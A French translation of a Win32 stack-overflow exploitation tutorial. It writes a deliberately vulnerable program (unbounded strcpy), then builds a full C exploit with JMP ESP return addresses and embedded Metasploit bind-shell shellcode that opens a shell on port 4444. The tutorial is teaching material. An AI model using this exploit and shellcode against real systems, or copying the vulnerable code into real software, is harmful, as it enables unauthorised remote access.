Stack Overflows
Exploitation basique sous Windows

Tutorial by tal.z
How-to exploit stack overflows on win32

Traduction française par Jérôme ATHIAS (jerome?athias.fr)

Dans ce tutoriel nous allons exploiter le code trivial « lamebuf.c » en commentant chaque étape.

Outils nécessaire

- Le débuggeur OllyDBG
- Un compilateur C/C++
- nasm
- Sac

Le code vulnérable

```
//lamebuf.c
#include<stdio.h>
#include<string.h>
#include<windows.h>
int main(int argc,char *argv[])
{

char buf[512];
char buf1[1024]; // <- simule une pile (stack)
 //DebugBreak();
if (argc != 2){ return -1; } //Vérifie le nombre d'arguments passés au programme

strcpy(buf,argv[1]); //Copie des données utilisateur sans limite <= Buffer Overflow
return 0x0;
}
```

Dessin de la Pile

Lorsqu'une fonction est appelée, les arguments sont poussés sur la pile (push), suivis par une instruction CALL.

```
PUSH eax       //Push d'un Paramètre
PUSH ebx       //Push d'un Paramètre
CALL 0x77DF0101 //Appel de la fonction en cours
```

Lorsque l'instruction CALL est exécutée, la valeur en cours d'EIP (Le Pointeur d'Instruction) est poussée sur la pile et sert d'**Adresse de Retour**.
Lorsque la fonction 0x77DF0101 est appelée, la pile doit ressembler à ce qui suit.

```
Adresse la plus grande
[RET] (adresse de retour)
[EBX]
[EAX]
Adresse la plus petite
```

Lorsque la fonction 0x77DF0101 retourne, l'Adresse de Retour va être dépilée de la pile (pop) et l'instruction suivante (JMP 0x77FD0304) va être exécutée.

Lorsqu'un dépassement de capacité se produit, nous allons alors pouvoir être en mesure de sur écrire l'Adresse de Retour et entrainer l'application à exécuter du code arbitraire.

```
Adresse la plus grande
[buffer]
[ebp]
[RET]
[Paramètre1]
[Paramètre2]
...
Adresse la plus petite
```

La pile grandi vers l'adresse la plus petite, ainsi nous pouvons sur écrire l'Adresse de Retour dans notre cas spécifique.

Introduction

Avant que nous puissions réellement exploiter ce programme, nous devons voir ce qui se passe lorsque nous déclenchons un buffer overflow.
Compilez le code situé au début de ce document, puis exécutez la commande suivante :

```
C:\exploit\lamebuf.exe AAAAAAAAAAA... ( où "A" apparait 520 fois )
```

(**n'oubliez pas d'activer l'option "Just In Time Debugging" dans OllyDbg**)
Lamebuf.exe devrait planter, si vous jetez un oeil aux registres, vous devriez constater qu'EIP et EBP ont été sur écrits comme prévu.

```
EAX 00000000
ECX 00301164
EDX FDFD0041
EBX 7FFDF000
ESP 0012FF88
EBP 41414141
ESI 00149B70
EDI 00000007
EIP 41414141
```

Ok, nous contrôlons donc le flot d'exécution. Mais après ?

Trouver une manière fiable d'exploiter la vulnérabilité

Nous avons besoin de trouver une manière efficace de dupper le programme en lui faisant exécuter notre shellcode sans planter.
En premier lieu, nous allons examiner tous les registres et en chercher un qui pointe vers les données Controlées par l'Utilisateur (dans notre cas « AAA… »)
Pas de chance ? Essayez en passant 540 caractères au lieu de 520, laisser le programme planter et réexaminer les registres sous OllyDbg.
lamebuf.exe devrait planter avec les registres dans l'état suivant :

```
EAX 00000000
ECX 00301188
EDX FDFD0041
EBX 7FFDF000
ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAA"
EBP 41414141
ESI 00149B70
EDI 00000007
EIP 41414141
```

ESP pointe sur nos données Utilisateur Contrôlées, mais ESP est long de seulement 20 octets, ce qui n'est pas suffisant pour notre shellcode.
En général, nous pourrions sur écrire la structure SEH, mais c'est en dehors du contexte de ce tutoriel.
Donc nous disposons de 20 octets de données Utilisateur Contrôlées que nous pouvons exécuter.
Examinons les registres de plus près :
ECX pointe sur la fin du buffer, donc généralement nous pouvons créer un petit shellcode (moins de 20 octets),
pour diminuer la taille d'ECX et faire un JMP ECX.

Ecriture d'un shellcode spécifique

Le shellcode est écrit dans le langage Assembleur Netwide (nasm). Nous avons mentionné précédemment que nous devons diminuer la taille d'ECX et déclencher l'instruction JMP ECX, notre code assembleur netwide pour cette tache sera

```
[BITS 32]

global _start

_start:
dec ch ; dec ch (nous ne voulons aucun nulls dans notre code
dec ch ; en diminuant ch nous diminuons ecx par 256 si nous le faisons 2 fois et sautons en ecx
jmp ecx ; nous nous retrouvons au début de notre second shellcode
```

Compilez-le avec la commande suivante :

```
C:\exploit\nasm>nasmw -f bin smallshell.asm -o smallshell
```

Ouvrez ensuite “smallshell” dans un éditeur hexadécimal et copier les octets; cela devrait être quelque chose comme :

```
"\xFE\xCD\xFE\xCD\xFF\xE1"
```

Et ceci sera le « Premier Niveau » de notre shellcode.

Emballons tout ceci ensemble

Comme shellcode de deuxième niveau, je vais utiliser un shellcode du générateur de shellcode de Metasploit.com qui est remarquable.
Nous savons dorénavant tout ce dont nous avons de savoir, écrivons l’exploit !
Lorsqu’un dépassement de capacité survient, notre pile devrait ressembler à :

```
512 Octets [buffer] "AAAA..."
   4 Octets [ebp]    "AAAA"
   4 Octets [RET]   "AAAA"
```

Nous voulons sur écrire RET avec une nouvelle adresse de retour, comme nous pouvons le voir l’offset pour cela sera 516 (512+4)
Etant donné que ESP contient un pointeur sur notre « shellcode de niveau1 » ; nous allons sur écrire RET avec une adresse qui réalise une instruction JMP ESP dans user32.dll
(Vous pouvez trouver une telle adresse en utilisant l’outil « Sac », « findjmp2 » ou manuellement avec OllyDbg)
Ainsi notre exploit devrait être :

```
#include<stdio.h>
#include<string.h>
#include<windows.h>

//#define RET_ADDRESS 0x77F8AC16 // The new return address for WinXP Sp1 English
//#define RET_ADDRESS 0x77E7350B //Nouvelle adresse de retour pour Win2k SP4 FR (call esp - kernel32.dll)
#define RET_ADDRESS 0x7C951EED //Nouvelle adresse de retour pour WinXP SP2 FR

// Premier niveau du shellcode - décrémente cx par 512 et JMP ecx
unsigned char shell_stage1[]=  "\xFE\xCD\xFE\xCD\xFF\xE1";
int main(int argc,char *argv[]){


char *bufExe[3];
char buf[560];


bufExe[0] = "lamebuf.exe";
bufExe[2] = NULL;
memset(buf,0xCC,540); //Pour debugger (0xCCest l’interruption pour un point d’arrêt)
memcpy(&buf[520],shell_stage1,sizeof(shell_stage1));
```

```
//dans le cas où vous vous demanderiez comment nous avons su que le premier niveau du
//shellcode doit commencer à 520
//la réponse est simplement en regardant les registres et la pile et en testant

*(unsigned long *)&buf[516] = RET_ADDRESS; //Place l'adresse de retour à l'offset 516
```

lamebuf.exe devrait se stopper lorsqu'EIP pointe sur une instruction 0xCC qui est suivie par un grand nombre d'instructions 0xCC
cela signifie que notre processus a fonctionné ; nous avons atterri à l'emplacement de notre shellcode niveau2
ajoutons le shellcode de niveau 2 et regardons si cela fonctionne

```
#include<stdio.h>
#include<string.h>
#include<windows.h>


//#define RET_ADDRESS 0x77F8AC16 // The new return address for WinXP Sp1 English
//#define RET_ADDRESS 0x77E7350B //Nouvelle adresse de retour pour Win2k SP4 FR (call esp - kernel32.dll)
#define RET_ADDRESS 0x7C951EED //Nouvelle adresse de retour pour WinXP SP2 FR

// Premier niveau du shellcode - décrémente cx par 512 et JMP ecx
unsigned char stage1[]=  "\xFE\xCD\xFE\xCD\xFF\xE1";

// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] http://metasploit.com
unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
```

```
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";

int main(int argc,char *argv[]){

char *bufExe[3];
char buf[540];

bufExe[0] = "lamebuf.exe";
bufExe[2] = NULL;
buf[531]=0;

memset(buf,0x90,520);
memcpy(&buf[20],shellcode,sizeof(shellcode)-1);
memcpy(&buf[520],stage1,sizeof(stage1));

*(unsigned long *)&buf[516] = RET_ADDRESS; //Adresse de Retour à l'offset 516
bufExe[1] = buf;

//Execute le programme vulnérable
execve(bufExe[0],bufExe,NULL);
return 0x0;
}
```

Compilons et testons ce code d'exploit

```
C:\exploit>cl exploit.c -o exploit
C:\exploit>exploit
C:\exploit>telnet 127.0.0.1 4444


Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.


C:\exploit>
```

Game Over – L'exploit a réussi

Conclusion

Ce tutoriel aurait pu être plus simple qu'il ne l'est, mais j'ai choisi une manière compliquée d'exploiter cette vulnérabilité, ainsi l'exploit sera stable et illustre la créativité dans l'écriture d'exploits. Ne vous y trompez pas – vous serez confronter à des situations comme celle-ci et vous devrez être créatif pour produire un code d'exploit stable

```
Plus vous maitriserez le code assembleur et le reverse engineering, plus vous maitriserez l'écriture d'exploits
```

Amusez-vous bien
Talz

Version française : Jérôme Athias